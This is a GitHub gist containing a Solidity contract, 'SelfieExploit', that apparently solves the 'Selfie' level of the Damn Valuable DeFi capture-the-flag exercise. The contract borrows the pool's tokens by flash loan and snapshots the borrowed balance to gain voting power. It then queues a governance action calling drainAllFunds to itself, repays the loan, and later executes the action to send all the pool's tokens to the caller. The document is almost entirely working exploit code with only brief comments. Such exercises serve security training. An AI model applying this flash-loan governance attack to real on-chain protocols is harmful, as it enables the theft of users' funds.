Skip to content

Instantly share code, notes, and snippets.

@0xAnon101
Created October 26, 2022 12:01
Show Gist options
  • Save 0xAnon101/e2f05bc39a5bd373b8f74b4f8043576e to your computer and use it in GitHub Desktop.
Save 0xAnon101/e2f05bc39a5bd373b8f74b4f8043576e to your computer and use it in GitHub Desktop.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "hardhat/console.sol";
interface IDamnValuableToken {
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function balanceOf(address account) external view returns (uint256);
function snapshot() external returns (uint256);
}
interface ISimpleGovernance {
function queueAction(
address receiver,
bytes calldata data,
uint256 weiAmount
) external returns (uint256);
function executeAction(uint256 actionId) external payable;
}
interface ISimplePool {
function flashLoan(uint256 borrowAmount) external;
}
interface IFlashLoanReceiver {
function receiveTokens(address token, uint256 amount) external;
}
contract SelfieExploit is IFlashLoanReceiver {
IDamnValuableToken public immutable DVT;
ISimpleGovernance public immutable governance;
ISimplePool public immutable pool;
uint256 actionId;
constructor(
address _dvt,
address _governance,
address _pool
) {
DVT = IDamnValuableToken(_dvt);
governance = ISimpleGovernance(_governance);
pool = ISimplePool(_pool);
}
function receiveTokens(address token, uint256 amount) external override {
require(token == address(DVT), "Wrong token");
require(msg.sender == address(pool), "Lender is not the pool");
require(amount > 0, "flashloan amount should be greater than zero!");
console.log("the received amount is %s", DVT.balanceOf(address(this)));
// approve the DVT to be spend by the governance
DVT.approve(address(governance), type(uint256).max);
// take the snapshot of attacker's flashloan balance
DVT.snapshot();
// call the governance to queue an action
// action is to call drainAllFunds with only Governance modifier
actionId = governance.queueAction(
address(pool),
abi.encodeWithSignature("drainAllFunds(address)", address(this)),
0
);
// return the funds to the simple pool
DVT.transfer(address(pool), 1500000e18);
}
function exploitGovernance() external {
// flashloan from Selfie pool
pool.flashLoan(DVT.balanceOf(address(pool)));
}
function executeAction() external {
// since snapshot is already, paying back flashloan won't disrupt draining flow
governance.executeAction(actionId);
// drain DVT token to the attacker account
DVT.transfer(msg.sender, DVT.balanceOf(address(this)));
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment